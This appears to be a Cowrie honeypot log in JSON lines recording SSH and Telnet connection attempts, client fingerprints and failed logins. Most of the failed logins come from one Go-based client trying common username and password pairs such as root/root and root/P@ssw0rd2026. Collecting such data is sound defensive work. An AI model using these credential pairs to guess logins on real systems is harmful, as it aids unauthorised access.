{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53720,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89dda16ea36","protocol":"ssh","message":"New connection: 45.156.87.254:53720 (159.203.135.109:22) [session: e89dda16ea36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:47.075733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:47.089458Z","src_ip":"45.156.87.254","session":"e89dda16ea36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:47.164667Z","src_ip":"45.156.87.254","session":"e89dda16ea36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:47.549730Z","src_ip":"185.16.214.226","session":"cdc850deed01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:47.660012Z","src_ip":"45.156.87.254","session":"e89dda16ea36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:48.747978Z","src_ip":"45.156.87.254","session":"e89dda16ea36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45730,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc8344456a9","protocol":"telnet","message":"New connection: 104.245.105.2:45730 (10.17.0.5:23) [session: 7cc8344456a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:49.105363Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44818,"dst_ip":"10.17.0.5","dst_port":22,"session":"9afa782ebc84","protocol":"ssh","message":"New connection: 186.30.115.187:44818 (10.17.0.5:22) [session: 9afa782ebc84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:50.251788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:50.256281Z","src_ip":"186.30.115.187","session":"9afa782ebc84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:50.355465Z","src_ip":"186.30.115.187","session":"9afa782ebc84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3server","message":"login attempt [root/ts3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:50.776708Z","src_ip":"186.30.115.187","session":"9afa782ebc84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:51.877079Z","src_ip":"186.30.115.187","session":"9afa782ebc84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41110,"dst_ip":"159.203.135.109","dst_port":22,"session":"132ee7fd9b2b","protocol":"ssh","message":"New connection: 45.156.87.254:41110 (159.203.135.109:22) [session: 132ee7fd9b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:51.940907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:51.945941Z","src_ip":"45.156.87.254","session":"132ee7fd9b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:52.084895Z","src_ip":"45.156.87.254","session":"132ee7fd9b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:52.379800Z","src_ip":"45.156.87.254","session":"132ee7fd9b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:53.466717Z","src_ip":"45.156.87.254","session":"132ee7fd9b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41126,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e959b49c643","protocol":"ssh","message":"New connection: 45.156.87.254:41126 (159.203.135.109:22) [session: 3e959b49c643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:56.781979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:56.914444Z","src_ip":"45.156.87.254","session":"3e959b49c643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:56.918116Z","src_ip":"45.156.87.254","session":"3e959b49c643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:57.267429Z","src_ip":"45.156.87.254","session":"3e959b49c643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:58.357152Z","src_ip":"45.156.87.254","session":"3e959b49c643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47342,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba08600d85b","protocol":"ssh","message":"New connection: 45.156.87.254:47342 (159.203.135.109:22) [session: 5ba08600d85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:01.821007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:01.841997Z","src_ip":"45.156.87.254","session":"5ba08600d85b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:01.924713Z","src_ip":"45.156.87.254","session":"5ba08600d85b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:02.261698Z","src_ip":"45.156.87.254","session":"5ba08600d85b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:03.352938Z","src_ip":"45.156.87.254","session":"5ba08600d85b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.10","src_port":24980,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef8b5ec3c6a","protocol":"ssh","message":"New connection: 64.62.156.10:24980 (10.17.0.5:22) [session: 2ef8b5ec3c6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:06.282798Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:06.287740Z","src_ip":"64.62.156.10","session":"2ef8b5ec3c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:06.292453Z","src_ip":"64.62.156.10","session":"2ef8b5ec3c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.503962993621826,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:07.531929Z","src_ip":"20.123.41.163","session":"0e5af4918f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47356,"dst_ip":"159.203.135.109","dst_port":22,"session":"dba945b0c037","protocol":"ssh","message":"New connection: 45.156.87.254:47356 (159.203.135.109:22) [session: dba945b0c037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:07.659706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:07.666386Z","src_ip":"45.156.87.254","session":"dba945b0c037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:07.758384Z","src_ip":"45.156.87.254","session":"dba945b0c037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:08.025548Z","src_ip":"45.156.87.254","session":"dba945b0c037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:09.207136Z","src_ip":"45.156.87.254","session":"dba945b0c037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.237443923950195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:11.325350Z","src_ip":"104.245.105.2","session":"8939ce261fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49650,"dst_ip":"159.203.135.109","dst_port":22,"session":"48a8b4d851ba","protocol":"ssh","message":"New connection: 45.156.87.254:49650 (159.203.135.109:22) [session: 48a8b4d851ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:13.270628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:13.277803Z","src_ip":"45.156.87.254","session":"48a8b4d851ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:13.363891Z","src_ip":"45.156.87.254","session":"48a8b4d851ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:13.618715Z","src_ip":"45.156.87.254","session":"48a8b4d851ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:14.704681Z","src_ip":"45.156.87.254","session":"48a8b4d851ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ede8809dc351","protocol":"ssh","message":"New connection: 45.156.87.254:59110 (159.203.135.109:22) [session: ede8809dc351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:18.955862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:19.102902Z","src_ip":"45.156.87.254","session":"ede8809dc351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:19.110902Z","src_ip":"45.156.87.254","session":"ede8809dc351","protocol":"ssh"}
